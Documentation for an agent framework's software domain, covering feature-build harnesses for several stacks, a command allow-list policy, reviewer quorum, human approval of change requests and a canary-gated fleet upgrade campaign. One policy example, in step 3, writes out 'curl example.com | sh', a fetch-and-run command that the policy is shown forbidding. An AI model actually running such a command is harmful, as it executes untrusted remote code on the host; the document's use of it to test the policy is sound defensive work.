# Software: feature builds

The software domain has the same parts as every
[domain harness](index.md#what-a-domain-harness-is-made-of). What is new here is that one
plan is shared by several technology stacks, and that a larger harness, the fleet campaign,
hosts whole feature builds as its children.

| Part | In a feature build |
|---|---|
| Plan | a workflow: plan, implement, run the checks (and go back on a failure), review, deliver |
| Tools and policy | file tools, `run_command` for the stack's own checks only, review tools, `open_change_request`; a person approves each change request |
| Ports | `Workspace` (the repository's files and commands) and `ChangeRequests` (where a pull request is opened) |
| Brief and evaluation | a task and a repository; a good run ends delivered, with the change request approved |
| Launcher | runs it on a Governor with two models (the main one, and a small one for the `"summariser"` role) and passes the approver's answer in |

**What you will learn:** how one plan builds a feature in any technology stack (plan,
implement, run the checks, review, open a change request), how a bounded loop retries a
failing implementation, how a small model writes the implementer's summaries through a
model role, and how a fleet campaign reuses those builds to roll one change
across many repositories behind a canary and a person's go.

**Read first:** [Research](research.md), the previous example, and the
[support desk](service.md), the smallest harness. On concepts:
[Workflows](../concepts/workflows.md) and [Workflows in depth](../concepts/workflows-in-depth.md)
(loops, nesting, fan-outs and joins),
[Run context](../concepts/run-context.md),
[Humans and interruption](../concepts/human-in-the-loop.md),
[Context management](../concepts/context-management.md) and
[A model per role](../guides/vendors.md#a-model-per-role).

**Time:** about 30 minutes; the fleet section adds 15.

## The problem

A team wants agents to make code changes in a repository, but a model must never run an
arbitrary shell command, never open a pull request in someone else's repository, and never
ship without the project's checks passing, reviewers agreeing and a person approving.
Projects differ in their stacks (Django, Node, an app that calls a model API), yet the steps
are the same. And once that works for one repository, a team wants the same change (say, a
dependency upgrade) rolled across dozens of them, carefully.

The software domain has five harnesses. Three feature builds share one plan, and the
[upgrade campaign](#fleet-upgrade-campaign) hosts those builds. The
[ticket-to-pull-request harness](ticket-to-pull-request.md) adds a developer conversation,
repository checkout, and delivery to GitHub.

| Path | Module | Stack |
|---|---|---|
| `software/web/django` | `gvn_domains.software.web.django` | Python and Django |
| `software/web/node` | `gvn_domains.software.web.node` | Node and Express |
| `software/ai/openai_python` | `gvn_domains.software.ai.openai_python` | a Python app that calls a model API, with evaluation cases |
| `software/fleet/upgrade_campaign` | `gvn_domains.software.fleet.campaign` | any of the above, across a fleet |
| `software/ticket_to_pull_request` | `gvn_domains.software.ticket_to_pull_request` | a ticket and a repository, with developer approvals |

The shared layer is `gvn_domains.software.build` (the plan, tools, policy and judges) and
`gvn_domains.software.ports`. An import contract orders the domain: `fleet` over `web` and
`ai`, which import the shared layer and never each other.

## One plan, many stacks

The steps of a feature build are the same in every stack; what differs is data: which
commands check the code, who reviews it, how many retries are allowed. So a stack is
described by a `Stack`, an immutable profile of a technology stack, and one function,
`feature_plan(stack)`, turns any Stack into the build's plan. A harness module is then just a
Stack, a four-line workflow class and an `entry()` for the catalog. The Stack's fields are
listed in [step 2](#2-building-the-harness-and-reading-its-stack), where you read one.

A run starts with the brief `{"task": str, "repository": str}`.

## The harness at a glance

A feature build moves through these states:

- `idle`: not started;
- `planning`: an agent reads the repository and writes a plan;
- `writing_evals` (`openai_python` only): an agent writes evaluation cases first;
- `implementing`: an agent writes the changed files;
- `verifying`: an agent runs the stack's checks; on a failure the run goes back to
  `implementing`, a bounded number of times;
- `reviewing`: one agent per reviewer role, all at once;
- `delivering`: an agent asks to open a change request, which a person approves;
- `delivered`, `rejected` or `failed`: the run is over.

Here is the plan as gvn renders it from the code (a docs test checks it still matches): a
transition table (one row per state: its output, the work it asks for, then where each
input leads; `>` marks the initial state, `*` a final state), then a diagram. For the web
stacks (`DjangoBuild` and `NodeBuild` have the same states and transitions):

```text
   state         output        transitions
*  delivered     delivered     -
   delivering    delivering    declined -> rejected, delivery_failed -> failed, opened -> delivered
*  failed        failed        -
>  idle          idle          started -> planning
   implementing  implementing  implement_failed -> failed, implemented -> verifying
   planning      planning      plan_failed -> failed, planned -> implementing
*  rejected      rejected      -
   reviewing     reviewing     review_inconclusive -> failed, review_objected -> rejected, review_passed -> delivering
   verifying     verifying     broken -> failed, exhausted -> failed, failing -> implementing, passed -> reviewing
otherwise: stay
```

```mermaid
stateDiagram-v2
    delivered : emits delivered
    delivering : emits delivering
    failed : emits failed
    idle : emits idle
    implementing : emits implementing
    planning : emits planning
    rejected : emits rejected
    reviewing : emits reviewing
    verifying : emits verifying
    [*] --> idle
    delivering --> rejected : declined
    delivering --> failed : delivery_failed
    delivering --> delivered : opened
    idle --> planning : started
    implementing --> failed : implement_failed
    implementing --> verifying : implemented
    planning --> failed : plan_failed
    planning --> implementing : planned
    reviewing --> failed : review_inconclusive
    reviewing --> rejected : review_objected
    reviewing --> delivering : review_passed
    verifying --> failed : broken
    verifying --> failed : exhausted
    verifying --> implementing : failing
    verifying --> reviewing : passed
    delivered --> [*]
    failed --> [*]
    rejected --> [*]
    note right of idle
        otherwise: stay
    end note
```

For `openai_python`, with its extra `writing_evals` stage:

```text
   state          output         transitions
*  delivered      delivered      -
   delivering     delivering     declined -> rejected, delivery_failed -> failed, opened -> delivered
*  failed         failed         -
>  idle           idle           started -> planning
   implementing   implementing   implement_failed -> failed, implemented -> verifying
   planning       planning       plan_failed -> failed, planned -> writing_evals
*  rejected       rejected       -
   reviewing      reviewing      review_inconclusive -> failed, review_objected -> rejected, review_passed -> delivering
   verifying      verifying      broken -> failed, exhausted -> failed, failing -> implementing, passed -> reviewing
   writing_evals  writing_evals  evals_failed -> failed, evals_written -> implementing
otherwise: stay
```

Three stages need more than "the agent finished": `verifying` ends through a **judge** (a
[Decision](../concepts/decisions.md) over what the verifier's commands returned) that sends
the run back to `implementing` on a failure, a bounded number of times; `reviewing` is a
**fan-out** (several reviewer agents at once) whose **join** (the rule for when a fan-out is
over) counts approvals; and `delivering` waits for a person. The walk-through shows each;
the exact rule each stage ends by is in
[Each stage in detail](#each-stage-in-detail) after it.

## Walking through a Django build

The steps follow one run of `software/web/django` in the order it happens. Each block runs,
in order, in the docs tests.

### 1. The outside world: two ports

| Port | Methods |
|---|---|
| `Workspace` | `read(path)`, `list(prefix)`, `write(path, text, key)`, `run(command, key)` returning `{"exit", "output"}` |
| `ChangeRequests` | `open(repository, title, body, key)`: a change request id |

This in-memory `Checkout` holds files in a dict and runs no real program. You can tell it
which commands fail once, so the walk-through can show the retry loop:

```python
import typing

from gvn_domains.software.ports import ChangeRequests, Workspace


class Checkout(Workspace):
    def __init__(self, files: dict[str, str], failing: tuple[str, ...] = ()) -> None:
        self._files = dict(files)
        self._failing = list(failing)  # commands that fail once, then pass
        self.ran = []

    async def read(self, path: str) -> str:
        return self._files[path]

    async def list(self, prefix: str) -> list[str]:
        return sorted(path for path in self._files if path.startswith(prefix))

    async def write(self, path: str, text: str, key: str) -> None:
        self._files[path] = text

    async def run(self, command: str, key: str) -> dict[str, typing.Any]:
        self.ran.append(command)
        if command in self._failing:
            self._failing.remove(command)
            return {"exit": 1, "output": "FAILED test_profile: expected 200, got 404"}
        return {"exit": 0, "output": "ok"}


class Review(ChangeRequests):
    def __init__(self) -> None:
        self.opened = []

    async def open(self, repository: str, title: str, body: str, key: str) -> str:
        self.opened.append((repository, title))
        return f"{repository}#{len(self.opened)}"
```

Real ports must act once per `key`: a call re-issued after a crash carries the same key.
These fakes skip that, because this page does not crash anything.

### 2. Building the harness and reading its stack

A `Stack` has these fields:

- `checks`: named commands that must all pass, such as `{"test": "python manage.py test"}`.
  These are also the **only** commands any agent may run.
- `reviewers`: reviewer roles and what each looks for, and `quorum`, how many must approve.
- `conventions`: text added to each role's instructions.
- `attempts`: how many times the implement and verify loop may go round.
- `evals`: optional instructions for an extra stage that writes evaluation cases before
  anything is implemented.

The three stacks in the package:

| Stack | Checks | Reviewers (quorum) | Attempts | Writes evals |
|---|---|---|---|---|
| `django` | `lint`, `migrations`, `test` | `conventions`, `correctness`, `security` (2) | 3 | no |
| `node` | `lint`, `test`, `typecheck` | `correctness`, `security` (2) | 2 | no |
| `openai_python` | `evals`, `lint`, `test` | `correctness`, `prompting`, `security` (3) | 3 | yes |

Build the Django harness over the two fakes. The test command will fail on its first run,
and the harness's `stack()` shows the Stack it was built from:

```python
from gvn_domains.catalog import Ports
from gvn_domains.directory import catalog

checkout = Checkout(files={"shop/views.py": "..."}, failing=["python manage.py test"])
review = Review()
build = catalog().harness(path="software/web/django", ports=Ports.of(checkout, review))
stack = build.stack()
print(stack.commands())
print([role for role, _ in stack.reviewers()], stack.quorum(), stack.attempts())
```

```text
('ruff check .', 'python manage.py makemigrations --check --dry-run', 'python manage.py test')
['conventions', 'correctness', 'security'] 2 3
```

### 3. What the model may do: the policy

Before any tool runs, the harness's **policy** gives a verdict on each call. It
clears `list_files`, `read_file`, `write_file` (its paths are confined to the workspace by
the argument schema), `approve_change` and `request_changes`. It clears `run_command` only
for a command the stack lists, exactly as written, and forbids every other command.
`open_change_request` needs a person's approval. Any other tool is forbidden. Each call of a
reply gets [its own verdict](../concepts/reference-agent.md#one-verdict-per-call), so a person is asked only about the calls that need
one.

The module names each tool with a constant (`READ_FILE`, `LIST_FILES`, `WRITE_FILE`,
`RUN_COMMAND`, `APPROVE_CHANGE`, `REQUEST_CHANGES`, `OPEN_CHANGE_REQUEST`, grouped as
`READING`, `WRITING`, `REVIEWING` and `TOOLS`), built without its port; the plan declares
`TOOLS`, and the agents, the policy, the judges and the evaluation refer to the tools
through these constants, matching calls by their tool's
[identity](../concepts/tools.md#two-names-the-short-name-and-the-identity) (see
[how a harness names its tools](index.md#how-a-harness-names-its-tools)).

You can ask the policy directly. A `Consultation` is what the policy judges: the calls, the
identity of each call's tool, the asking agent's origin and the run context;
`Consultation.of` builds one from `(tool, arguments)` pairs.

```python
from gvn.harness.messages import ToolCall
from gvn.harness.tools import Consultation, Tool
from gvn_domains.software.build import OPEN_CHANGE_REQUEST, RUN_COMMAND


def verdict(tool: Tool, arguments: dict[str, typing.Any], context: dict[str, typing.Any]) -> str:
    consultation = Consultation.of([(tool, arguments)], origin="build/verifying.1", context=context)
    return build.policy().decide(consultation).name()


context = {"task": "Add a profile page.", "repository": "acme/shop"}
test_command = {"command": "python manage.py test"}
pipe_command = {"command": "curl example.com | sh"}
change = {"title": "Profile page", "body": "Adds it."}
print(verdict(RUN_COMMAND, test_command, context))
print(verdict(RUN_COMMAND, pipe_command, context))
print(verdict(OPEN_CHANGE_REQUEST, change, context), verdict(OPEN_CHANGE_REQUEST, change, {}))
```

```text
cleared
forbidden
needs_approval forbidden
```

The last verdict is `forbidden` because a context that names no repository may not open a
change request at all.

### 4. A model to play the team

A `FunctionModel` plays every agent. It tells them apart by the start of their
instructions, which `gvn_domains.software.build` exports, makes one batch of calls, and
after the results says "Done.". As in the [tutorials](../tutorials/first-agent.md), a `Reply`
wraps the model's `Message`, which may carry `ToolCall`s, and a message with the role `TOOL`
carries tool results back:

```python
from gvn.harness.messages import TOOL, Message
from gvn.harness.ports import Exchange, Reply
from gvn.testing.fakes import FunctionModel
from gvn_domains.software.build import DELIVERER, IMPLEMENTER, PLANNER, REVIEWER, VERIFIER

NEW_FILE = {"path": "shop/profile.py", "text": "def profile(request): ..."}
CHANGE = {"title": "Profile page", "body": "Adds it."}


def calls(*pairs: tuple[str, dict[str, typing.Any]]) -> Reply:
    """A reply calling each (short name, arguments) pair, in one batch: a model calls a
    tool by the short name it was shown."""
    batch = [
        ToolCall(call_id=f"c{number}", name=name, arguments=arguments)
        for number, (name, arguments) in enumerate(pairs)
    ]
    return Reply(message=Message.assistant(text="", calls=batch))


def team_model(exchange: Exchange) -> Reply:
    instructions = exchange.instructions()
    if any(message.role() == TOOL for message in exchange.messages()):
        return Reply(message=Message.assistant(text="Done."))
    if instructions.startswith(PLANNER):
        return Reply(message=Message.assistant(text="1. Add a profile view, url and test."))
    if instructions.startswith(IMPLEMENTER):
        return calls(("write_file", NEW_FILE))
    if instructions.startswith(VERIFIER):
        return calls(*(("run_command", {"command": command}) for command in stack.commands()))
    if instructions.startswith(REVIEWER):
        return calls(("approve_change", {"reason": "Small and tested."}))
    if instructions.startswith(DELIVERER):
        return calls(("open_change_request", CHANGE))
    raise AssertionError(f"unexpected instructions {instructions!r}")


model = FunctionModel(respond=team_model)
```

The implementer is the one agent with a long tool loop, so it alone has a
[context budget](../concepts/context-management.md): from 60% of its model's context window,
old file contents are cleared from its transcript first, and once nothing is left to clear,
all but the last four messages are summarised. The summary is a plain job, so the build has
it written by a smaller model. Its `Summarise` step names the
[model role](../guides/vendors.md#a-model-per-role) `"summariser"`, and the harness declares
that role in `model_roles()`, so whoever launches it maps the role to a model:

```python
from gvn_domains.software.build import IMPLEMENTATION_SUMMARISER


def summarise(exchange: Exchange) -> Reply:
    assert exchange.instructions().startswith(IMPLEMENTATION_SUMMARISER)
    return Reply(message=Message.assistant(text="Plan, files read, files written, what is left."))


summariser = FunctionModel(respond=summarise)
print(build.model_roles())
```

```text
('summariser',)
```

### 5. Planning, the implement and verify loop, and the review

A [`Launcher`](index.md#what-the-launcher-wires) checks the roles when it is built. One
without a model for `"summariser"` is refused before any run starts, rather than failing
when the first summary falls due:

```python
import asyncio

from gvn.testing.fakes import ManualClock, MemoryJournal, RecordingOutput
from gvn_domains.launcher import Launcher

try:
    Launcher(harness=build, model=model, journal=MemoryJournal(), output=RecordingOutput(), clock=ManualClock())
except ValueError as error:
    print(error)
```

```text
harness 'django' needs a model for the roles ['summariser']: pass them in model_roles
```

With `model_roles=`, every call the summary step makes goes to `summariser`, and every other
call to `model`. Start the run. It plans, implements, verifies, and then stops at the first
thing a person must decide:

```python
launcher = Launcher(
    harness=build,
    model=model,
    model_roles={"summariser": summariser},
    journal=MemoryJournal(),
    output=RecordingOutput(),
    clock=ManualClock(),
)
brief = {"task": "Add a profile page.", "repository": "acme/shop"}
waiting = asyncio.run(launcher.start(run_id="build-1", brief=brief))
request = waiting.pending()[0]
print(waiting.status(), request.origin())
print(len(checkout.ran), checkout.ran.count("python manage.py test"))
print(len(summariser.exchanges()))
```

```text
waiting build-1/delivering.1
6 2
0
```

The summariser was not asked: the scripted replies report no token usage, so the budget
never sees the implementer's window fill. [Context management](../concepts/context-management.md)
has runs where it does.

Six commands ran, the test command twice. On the first `verifying` visit the test failed,
so the judge ended the stage `failing` and the run went back to `implementing`, whose agent
was shown the failing output. The second verification passed. `implementing` and
`verifying` form a real loop (see [loops](../concepts/workflows-in-depth.md#loops)), bounded by the
verifying judge reading `memo.visits("verifying")`: after `attempts` failing visits it ends
`exhausted` and the run `failed`.

Then three reviewers ran at once. A reviewer's verdict is its last successful call to
`approve_change` or `request_changes`; one that called neither counts as neither. The review
is one framework join, whatever the stack's quorum. Here it is as the plan builds it:

```python
from gvn.harness.workflow import Quorum
from gvn_domains.software.build import ReviewerVerdict

review_join = Quorum(
    count=stack.quorum(),
    success="approve",
    reached="review_passed",
    missed="review_inconclusive",
    classify=ReviewerVerdict(),
    wait=True,
    veto={"object": "review_objected"},
)
```

Read it argument by argument: `classify` turns each reviewer's outcome into a verdict
(`approve`, `object`, or `none` when it called neither); `success="approve"` is the verdict that counts; `count`
is how many are needed; `reached` and `missed` name the stage's outcome when the count is
met or no longer can be. Every reviewer is heard (`wait=True`), any objection ends the stage
at once (the `veto`), and the review passes with `quorum` approvals: two of three for
Django. `interrupted` and
`resumed` are relayed to the active agents.

### 6. Where a person is asked, and how it ends

The delivering agent asked for `open_change_request`, which needs approval, so the run is
waiting. A person approves:

```python
delivered = asyncio.run(launcher.approve(run_id="build-1", request=request))
print(delivered.outcome().state(), review.opened)
print(asyncio.run(launcher.grade(run_id="build-1")).passed())
```

```text
State('delivered') [('acme/shop', 'Profile page')]
True
```

The change request was opened in `acme/shop`, the repository from the brief, although the
model's call named only a title and a body. The evaluation's checks: the run finishes
`delivered`, nothing is rejected, no change request is opened without approval
(`Gated([OPEN_CHANGE_REQUEST])`), within an event limit that depends on the stack.

## Each stage in detail

How each stage of a feature build ends, in the plan's own terms (`memo.visits(stage)` counts
a stage's visits; `Quorum` is the join from step 5):

| Stage | Agents and tools | How it ends |
|---|---|---|
| `planning` | one planner: `list_files`, `read_file` | routes on the agent's final state |
| `writing_evals` | one writer: `list_files`, `read_file`, `write_file` | routes on the agent's final state |
| `implementing` | one implementer: `list_files`, `read_file`, `write_file`; a context budget from 60% of the window (clear old file contents, then summarise with the `"summariser"` role) | routes; each visit after the first is shown the failing checks' output from the last verification |
| `verifying` | one verifier: `run_command` | a judge on the tool results: `passed` when every check's last run exited 0; `failing` while visits are below `attempts`, then `exhausted`; `broken` when the agent failed |
| `reviewing` | one reviewer per role, at once: `list_files`, `read_file`, `approve_change`, `request_changes` | any objection ends the stage `review_objected` at once; once all have finished, `review_passed` if at least `quorum` approved, else `review_inconclusive`: one `Quorum` join, `wait=True` with an `object` veto |
| `delivering` | one agent: `open_change_request` | a judge: `opened` when the call succeeded; `declined` when a person denied it; `delivery_failed` when the agent or the call failed (it may have half applied, so the run ends `failed` for a person to look at) |

## What is enforced before any effect

- **Only the stack's commands run.** An agent cannot run an arbitrary shell command: the
  policy forbids it before it reaches the workspace.
- **The repository comes from the context.** `open_change_request` takes only a title and a
  body. The repository is read from the [run context](../concepts/run-context.md), so a
  model cannot open a change request anywhere else, and the policy forbids the call in a run
  whose context names no repository.
- **A person approves every change request.**
- **Effects happen once.** `write_file`, `run_command` and `open_change_request` pass the
  call's key to their port, which must act once per key.

## Running the feature builds

- **Give each run its own workspace.** In the single-repository builds, the `Workspace` port
  is whatever checkout you give the harness, so give each run a workspace over the
  repository named in the brief. (The upgrade campaign scopes it itself, through
  `Workspaces.checkout`.)
- **Commands are matched exactly.** A check command is written exactly as the stack lists
  it, so a stack lists every command it allows.

## Fleet: upgrade campaign

`software/fleet/upgrade_campaign` takes one task (typically a dependency upgrade) to a fleet
of repositories, each built on one of the stacks above. It rolls the change out carefully:
first to a few **canary** repositories alone, so that a problem shows before it spreads;
then, after a person says go, to the rest in **waves** (batches of repositories changed at
the same time). It never re-implements a feature
build: each repository's change is made by hosting that stack's **existing** build workflow
(`DjangoBuild`, `NodeBuild`, `OpenAIPythonBuild`) as a child, with its own agents, reviewer
fan-out and implement/verify loop. The campaign only orders the builds, judges the waves and
gates the rollout. This is the most deeply nested harness on the page; each line is one
level of actors, with the [address](../concepts/workflows.md#step-6-names-and-addresses)
its actors get (`RepositoryChange`, the small workflow that picks a repository's build, is
explained below):

```text
Campaign             <run>
  RepositoryChange   <run>/canary.1.<i>, <run>/rolling.<k>.<i>   one per repository
    <Stack>Build     .../<stack>.1           the existing feature build, unchanged
      Agents         .../<stack>.1/planning.1, .../<stack>.1/reviewing.1.<j>, ...
```

The brief is `{"task", "repositories": [{"repository", "stack"}, ...], "canary", "wave",
"max_failure_percent"}`: the first `canary` repositories form the canary wave, the rest follow
in waves of at most `wave`, in brief order. A wave **breaches** when more than
`max_failure_percent` of its repositories did not end with a delivered change; a breach halts
the campaign and no later wave starts.

### The campaign at a glance

- `canary`: a fan-out builds the canary repositories, one child each;
- `gating`: a person says go or stop, having seen the canary results;
- `rolling`: a fan-out builds the next wave; it repeats while waves remain;
- `completed`, `halted` (a wave breached) or `stopped` (the person said stop).

```text
   state      output     transitions
   canary     canary     canary_breached -> halted, canary_held -> gating
*  completed  completed  -
   gating     gating     go -> rolling, stop -> stopped
*  halted     halted     -
>  idle       idle       started -> canary
   rolling    rolling    next_wave -> rolling, rolled_out -> completed, wave_breached -> halted
*  stopped    stopped    -
otherwise: stay
```

```mermaid
stateDiagram-v2
    canary : emits canary
    completed : emits completed
    gating : emits gating
    halted : emits halted
    idle : emits idle
    rolling : emits rolling
    stopped : emits stopped
    [*] --> idle
    canary --> halted : canary_breached
    canary --> gating : canary_held
    gating --> rolling : go
    gating --> stopped : stop
    idle --> canary : started
    rolling --> rolling : next_wave
    rolling --> completed : rolled_out
    rolling --> halted : wave_breached
    completed --> [*]
    halted --> [*]
    stopped --> [*]
    note right of idle
        otherwise: stay
    end note
```

| Stage | Who | How it ends |
|---|---|---|
| `canary` | a fan-out: a `RepositoryChange` per canary repository | `canary_held`, or `canary_breached` (`halted`) |
| `gating` | an [`Approval`](../concepts/human-in-the-loop.md) labelled `rollout`: no model, no tool | `go` (approved) or `stop` (declined) |
| `rolling` | a fan-out: a `RepositoryChange` per repository of rollout wave *k*, where *k* is the visit number | `next_wave` while waves remain, `rolled_out`, or `wave_breached` |

`rolling` is a real loop, bounded by its join. The joins wait for every build of a wave; they
do not stop early on a breach, because dropping a build mid-delivery could leave a change
request half opened.

A fan-out makes children of **one** class, and a wave mixes stacks. So each repository gets
a `RepositoryChange`, a small workflow whose opening symbol (the first input it is started
with: `build_<stack>`, chosen from the brief) picks which build it hosts:

```text
   state          output         transitions
*  changed        changed        -
   django         django         broke -> failed, built -> changed, turned_down -> rejected
*  failed         failed         -
>  idle           idle           build_django -> django, build_node -> node, build_openai_python -> openai_python
   node           node           broke -> failed, built -> changed, turned_down -> rejected
   openai_python  openai_python  broke -> failed, built -> changed, turned_down -> rejected
*  rejected       rejected       -
otherwise: stay
```

### Walking through a campaign

The campaign needs one more port, `Workspaces`, which hands out the checkout of a named
repository. It reuses the `Checkout`, `Review` and `team_model` from the build above:

```python
from gvn_domains.software.fleet.campaign import Workspaces


class Fleet(Workspaces):
    def __init__(self, checkouts: dict[str, Workspace]) -> None:
        self._checkouts = checkouts  # repository -> Workspace

    async def checkout(self, repository: str) -> Workspace:
        return self._checkouts[repository]


shop = Checkout(files={"shop/views.py": "..."})
billing = Checkout(files={"billing/views.py": "..."})
fleet_review = Review()
campaign = catalog().harness(
    path="software/fleet/upgrade_campaign",
    ports=Ports.of(Fleet(checkouts={"acme/shop": shop, "acme/billing": billing}), fleet_review),
)
```

The campaign's builds keep their implementers' context budget, so the campaign names the
same role (`campaign.model_roles()` is `('summariser',)`) and its Launcher takes the same
`model_roles=`; without it the Launcher is refused, as for a single build.

Two Django repositories: `acme/shop` is the canary, and `acme/billing` follows in one
rollout wave. The loop answers yes to every request and prints who asked:

```python
upgrade = {
    "task": "Upgrade requests.",
    "repositories": [
        {"repository": "acme/shop", "stack": "django"},
        {"repository": "acme/billing", "stack": "django"},
    ],
    "canary": 1,
    "wave": 1,
    "max_failure_percent": 0,
}
rollout = Launcher(
    harness=campaign,
    model=model,
    model_roles={"summariser": summariser},
    journal=MemoryJournal(),
    output=RecordingOutput(),
    clock=ManualClock(),
)
result = asyncio.run(rollout.start(run_id="up", brief=upgrade))
while result.status() == "waiting":
    request = result.pending()[0]
    print(request.kind().name(), request.origin())
    result = asyncio.run(rollout.approve(run_id="up", request=request))
print(result.outcome().state(), fleet_review.opened)
print(asyncio.run(rollout.grade(run_id="up")).passed())
```

```text
request_approval up/canary.1.0/django.1/delivering.1
request_approval up/gating.1
State('completed') [('acme/shop', 'Profile page'), ('acme/billing', 'Profile page')]
True
```

A person was asked twice: once for the canary's change request, deep inside
`up/canary.1.0/django.1`, and once at the gate. The rollout's change request was opened
without asking. A campaign of N repositories asks a person `canary + 1` times.

### What is enforced before any effect

Each build starts with the [run context](../concepts/run-context.md)
`{"task", "repository", "stack", "phase"}`, which it hands to every agent it makes; the
gate's context is `{"task", "phase": "gate", "canary": [...]}`. The gate is an `Approval`
rather than an [inquiry](../concepts/asking-a-person.md): a person's go is an approve or a deny
of one named thing, shown the canary results as its text and context, so nothing a person
types can route the campaign; a denial's reason is kept in the outcome and never read.

- **A child only touches its own repository.** Every workspace tool runs in the workspace
  `Workspaces.checkout` hands out for the repository of the *calling* agent's context. No
  argument names a repository at all.
- **Only that stack's checks run.** `run_command` allows exactly the checks of the stack the
  context names.
- **A person sees every canary change and the gate.** In a build, the stack's own policy
  decides, except that `open_change_request` is cleared in the `rollout` phase: the
  gate's approval covered every change request after the canary.
- **A context without a known phase, stack and repository is forbidden everything.**

The campaign's policy, asked directly, shows the phase at work:

```python
def campaign_verdict(
    tool: Tool, arguments: dict[str, typing.Any], origin: str, context: dict[str, typing.Any]
) -> str:
    consultation = Consultation.of([(tool, arguments)], origin=origin, context=context)
    return campaign.policy().decide(consultation).name()


build_context = {"task": "Upgrade requests.", "repository": "acme/shop", "stack": "django"}
canary_context = {**build_context, "phase": "canary"}
rollout_context = {**build_context, "phase": "rollout"}
npm_test = {"command": "npm test"}
canary_delivery = "up/canary.1.0/django.1/delivering.1"
rollout_delivery = "up/rolling.1.0/django.1/delivering.1"
canary_verifier = "up/canary.1.0/django.1/verifying.1"
print(campaign_verdict(OPEN_CHANGE_REQUEST, change, canary_delivery, canary_context))
print(campaign_verdict(OPEN_CHANGE_REQUEST, change, rollout_delivery, rollout_context))
print(campaign_verdict(RUN_COMMAND, npm_test, canary_verifier, canary_context))
```

```text
needs_approval
cleared
forbidden
```

The last is `forbidden` because `npm test` is not a Django check.

The evaluation's checks (each a check on the recorded trace, see
[Replay and evaluation](../guides/replay-and-evaluation.md)): finishes `completed`, visits
`gating`, nothing rejected, `Gated([OPEN_CHANGE_REQUEST], when=gated)`, where `gated`
holds when the request's phase is not `rollout` (each canary change request needs its own
approval),
`ApprovedFirst("rollout", [OPEN_CHANGE_REQUEST], when=in_rollout)` (no rollout change
request before the gate was approved), and a computed `Within`: an event budget that grows
with the fleet, read from the brief in the trace's first event. The plan
says the same structurally: `rolling` is entered only from `gating` on `go`, which only an
approved `Approval` yields.

## What this harness uses from gvn

- The three feature builds rely on a trusted [run context](../concepts/run-context.md)
  (the repository), a stable key per tool call (effects once), agents that refuse tools
  they were not offered, and outcomes that list every call's status (so a judge can tell
  "a person said no" from "the call failed").
- The upgrade campaign is the package's example of nesting and width (DESIGN.md 9.2). It
  uses the approval-only step (`Approval`), `ApprovedFirst`, `Gated` with `when`, a computed
  `Within`, counting joins and growing
  [snapshot](../reference/glossary.md#snapshot) spacing (see the [domains overview](index.md#what-the-harnesses-use-from-gvn)).

## Width

The campaign hosts one build per repository, each of the class its stack names. With the
default snapshot settings, the time to run a campaign grows with its width like this:

| Repositories | Time |
|---|---|
| 50 | 1.54 s |
| 100 | 3.12 s |
| 200 | 5.84 s |
| 500 | 17.1 s |

The harnesses' own tests are in `packages/gvn-domains/tests/test_dom_software_*.py`.

## From a ticket to a pull request

The domain has one more harness, `software/ticket_to_pull_request`, which starts earlier
than a feature build: from a ticket whose meaning must first be agreed with its developer in
a conversation. It reuses this page's file tools, verdict tools, `OpenChangeRequest` and the
implementer's context budget, and adds a review loop nested inside a test loop. Its own page,
[From a ticket to a pull request](ticket-to-pull-request.md), walks through both of its
machines and the command-line program that runs it against Jira and GitHub.

## Recap

- A `Stack` is data; `feature_plan(stack)` turns it into one verified plan for any stack.
- The implementer's summaries are written by the model of the `"summariser"` role; a
  Launcher of a build or of the campaign needs that model, or it is refused at launch.
- The implement and verify loop is a real cycle, bounded by a judge counting visits.
- Reviews are one `Quorum` join with a veto; delivery waits for a person.
- The repository and the allowed commands come from the stack and the run context, never
  from the model.
- The campaign hosts the builds unchanged, asks a person `canary + 1` times, and clears
  rollout change requests only after the gate's approval.

**Next:** [From a ticket to a pull request](ticket-to-pull-request.md), where the developer
agrees the requirements in a conversation before a reviewed and tested change is delivered.
